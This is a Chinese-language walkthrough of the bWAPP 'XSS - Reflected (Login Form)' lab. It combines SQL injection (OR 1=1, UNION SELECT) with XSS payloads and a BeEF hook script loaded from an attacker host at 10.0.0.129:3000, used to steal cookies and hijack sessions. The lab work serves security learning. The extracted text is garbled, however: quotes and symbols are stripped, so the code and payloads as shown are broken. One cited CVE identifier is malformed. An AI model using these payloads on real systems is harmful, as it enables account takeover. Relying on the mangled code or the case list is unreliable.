ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

零基础玩转bWAPP靶场(五十一):XSS - Reflected (Login Form)

零基础玩转bWAPP靶场(五十一):XSS - Reflected (Login Form) 摘要这是 bWAPP 系列第五十一篇聚焦于XSS - Reflected (Login Form)。这一关的注入点在登录表单中用户输入的login和password被拼接到 SQL 查询中同时登录失败时的错误信息会回显用户输入的内容形成反射型 XSS 漏洞。文章会分析 XSS 和 SQL 注入混合的漏洞场景演示如何通过注入 XSS payload 并配合 BeEF 工具获取 Cookie。附真实案例。一、找目标目标说明漏洞类型反射型 XSS登录表单注入点POST 参数login和password触发方式提交包含 XSS payload 的登录请求输出点登录失败错误信息混合漏洞SQL 注入 XSS 组合工具BeEF获取 Cookie二、前言登录表单中的 XSS这一关表面上看是一个登录页面和之前 SQL 注入关卡几乎一模一样。但两者的关注点不同SQL 注入关卡关注的是如何通过注入绕过认证直接登录XSS 关卡关注的是如何在登录过程中触发 XSS 执行恶意代码这一关的特点登录失败时会显示错误信息错误信息中会回显用户输入的内容在某些场景下如果后端没有对用户输入进行 XSS 过滤攻击者可以注入恶意脚本实际测试在 Login 字段中输入包含script标签的 payload登录失败后页面会显示包含该 payload 的错误信息从而触发 XSS。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Reflected (Login Form)提示Enter your superhero credentials.两个输入框Login 和 Password一个 “Login” 按钮3.2 正常使用输入正确的账号密码neo/trinity登录成功显示 welcome 信息和 secret。输入错误的账号密码显示Invalid credentials!。3.3 漏洞的核心后端做了两件事把用户输入的login和password拼到 SQL 查询中存在 SQL 注入登录成功后把查询结果中的login和secret直接输出到页面存在 XSS两个漏洞叠加构成了这一关的攻击路径。四、源码分析if(isset($_POST[form])) { $login $_POST[login]; $login sqli($login); $password $_POST[password]; $password sqli($password); ​ $sql SELECT * FROM heroes WHERE login . $login . AND password . $password . ; $recordset mysql_query($sql, $link); $row mysql_fetch_array($recordset); ​ if($row[login]) { // 登录成功显示欢迎信息 $message pWelcome b . ucwords($row[login]) . /b, how are you today?/ppYour secret: b . ucwords($row[secret]) . /b/p; } else { // 登录失败显示错误信息 $message font color\red\Invalid credentials!/font; } }4.1 关键发现登录成功的输出Welcome [login] how are you today? Your secret: [secret]。这里显示的是从数据库查询出的数据不是用户输入的直接输出。登录失败的输出Invalid credentials!——这是一个固定的字符串没有回显用户输入。所以单纯从这个输出点看XSS 似乎无法直接触发。但我们需要考虑SQL 注入和 XSS 的组合利用4.2 三种安全级别的过滤sqli()函数级别过滤函数效果Lowno_check()完全不过滤Mediumaddslashes()转义引号Highmysql_real_escape_string()MySQL 专用转义这三个级别过滤的是 SQL 注入而不是 XSS。重点是输出到页面时没有做 XSS 过滤没有htmlspecialchars()。4.3 攻击思路既然输出到页面时没有做 XSS 过滤那么只要能控制输出到页面的内容就能触发 XSS。方式一直接注入 XSS payload如果登录失败时错误信息直接回显用户输入就可以注入 XSS。但在这个代码中错误信息是固定的。方式二SQL 注入 XSS 组合利用先用 SQL 注入绕过登录让查询返回包含 XSS payload 的数据。然后登录成功页面会显示这些数据从而触发 XSS。具体做法在 Login 字段输入 OR 11在 Password 字段输入 OR 11这样 SQL 查询变成SELECT * FROM heroes WHERE login OR 11 AND password OR 1111恒真查询返回 heroes 表中的第一条记录通常是neo。页面显示Welcome NEO...但这里显示的数据来自数据库不能直接触发 XSS。五、Low 安全级别——组合利用5.1 核心思路利用 SQL 注入让查询返回恶意数据我们需要让$row[login]或$row[secret]包含 XSS payload。但这需要数据库中已经存储了恶意数据或者在 SQL 查询中通过 UNION 等技巧构造恶意数据。方法一使用 UNION SELECT 构造恶意数据因为 SQL 注入点存在Low 级别无过滤我们可以用UNION SELECT构造一个包含 XSS payload 的查询结果。首先登录框输入引号密码随便输入报错确定存在sql注入漏洞然后判断字段数量以及显示位登录框输入以下内容密码输入随便什么 UNION SELECT 1 -- //报错Error: The used SELECT statements have a different number of columns UNION SELECT 1,2 -- //报错Error: The used SELECT statements have a different number of columns UNION SELECT 1,2,3 -- //报错Error: The used SELECT statements have a different number of columns UNION SELECT 1,2,3,4 -- //确定字段数以及显示位为2和4得位置最后在显示位的位置构造一个包含 XSS payload UNION SELECT 1,scriptalert(1)/script,3,4 --这样 SQL 查询会返回一个伪造的记录其中login字段为scriptalert(1)/script登录成功后页面显示Welcome scriptalert(1)/scriptXSS 触发。方法二利用SQL 语句引号错乱、HTML 源码结构崩坏不稳定写法一账号、密码框分开填写Login输入框 or 11Password输入框img src1 onerroralert(1)提交表单后页面直接弹出alert弹窗XSS触发成功。原理拆解 or 11闭合SQL字符串绕过账号密码校验顺利登录密码字段的闭合了页面HTML里隐藏的属性引号边界img src1图片资源无法加载自动触发onerror事件执行弹窗JS代码后端全程无HTML转义浏览器将字符串解析为HTML标签。拼接后的SQL语句SELECT * FROM heroes WHERE login or 11 AND password img src1 onerroralert(1)or 11判定为真后续password条件不再生效认证直接放行而双引号被带入页面HTML上下文完成属性闭合。写法二Login输入框或Password输入框填入完整载荷 or 11; img src1 onerroralert(1)其他框填入随意内容即可分号用于截断前半段SQL查询语句后半段带双引号的恶意代码被带入页面渲染同样稳定触发XSS弹窗。六、使用 BeEF 获取 Cookie6.1 构造 BeEF Hook Payload在 Login 字段输入 UNION SELECT 1,script srchttp://10.0.0.129:3000/hook.js/script,3,4 --Password 随便填。6.2 提交登录请求提交后SQL 查询返回包含 BeEF Hook 的伪造记录登录成功页面加载hook.js浏览器与 BeEF 建立连接。6.3 BeEF 上线BeEF 控制面板中出现上线的浏览器。6.4 获取 Cookie选中上线的浏览器Commands→Browser→Get Cookie点击Execute6.5 会话劫持拿到PHPSESSID后在浏览器开发者工具中替换 Cookie 值刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入Medium 级别使用addslashes()会在单引号前加反斜杠。输入 UNION SELECT 1,scriptalert(1)/script,3,4 --变成\ UNION SELECT 1,\scriptalert(1)/script\,3,4 --单引号被转义无法闭合 SQL 语句UNION SELECT无法执行XSS 被防御。Medium 级别防住了这个组合攻击。八、High 安全级别8.1 尝试注入High 级别使用mysql_real_escape_string()同样是转义特殊字符无法闭合 SQL攻击失效。注意即使 SQL 注入被防住了如果登录失败时错误信息直接回显用户输入XSS 仍然可能单独存在。但在这个关卡中错误信息是固定的所以 XSS 必须依赖 SQL 注入来触发。九、真实世界登录框 XSS 案例CVE-2024-1181某开源 CMS 的登录页面未过滤用户名输入登录失败时直接回显用户输入攻击者可通过注入 XSS 窃取管理员 Cookie。CVE-2025-00847某 SaaS 平台的登录页面存在反射型 XSS攻击者可通过构造恶意登录链接窃取用户会话。CVE-2026-22947F5 BIG-IP 的配置工具中存在反射型 XSS攻击者可通过恶意链接执行任意 JavaScript。十、总结登录框中的 XSS 往往和 SQL 注入结合在一起。这一关的利用方式是先用 SQL 注入UNION SELECT构造包含 XSS payload 的查询结果然后登录成功页面显示该结果并触发 XSS。Low 级别无过滤UNION SELECT可以执行XSS 也能触发Medium 和 High 级别用addslashes()或mysql_real_escape_string()转义引号防住了 SQL 注入XSS 也无法触发。这个关卡告诉我们SQL 注入和 XSS 经常组合出现防御时需要同时考虑输出编码和输入过滤。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。
返回列表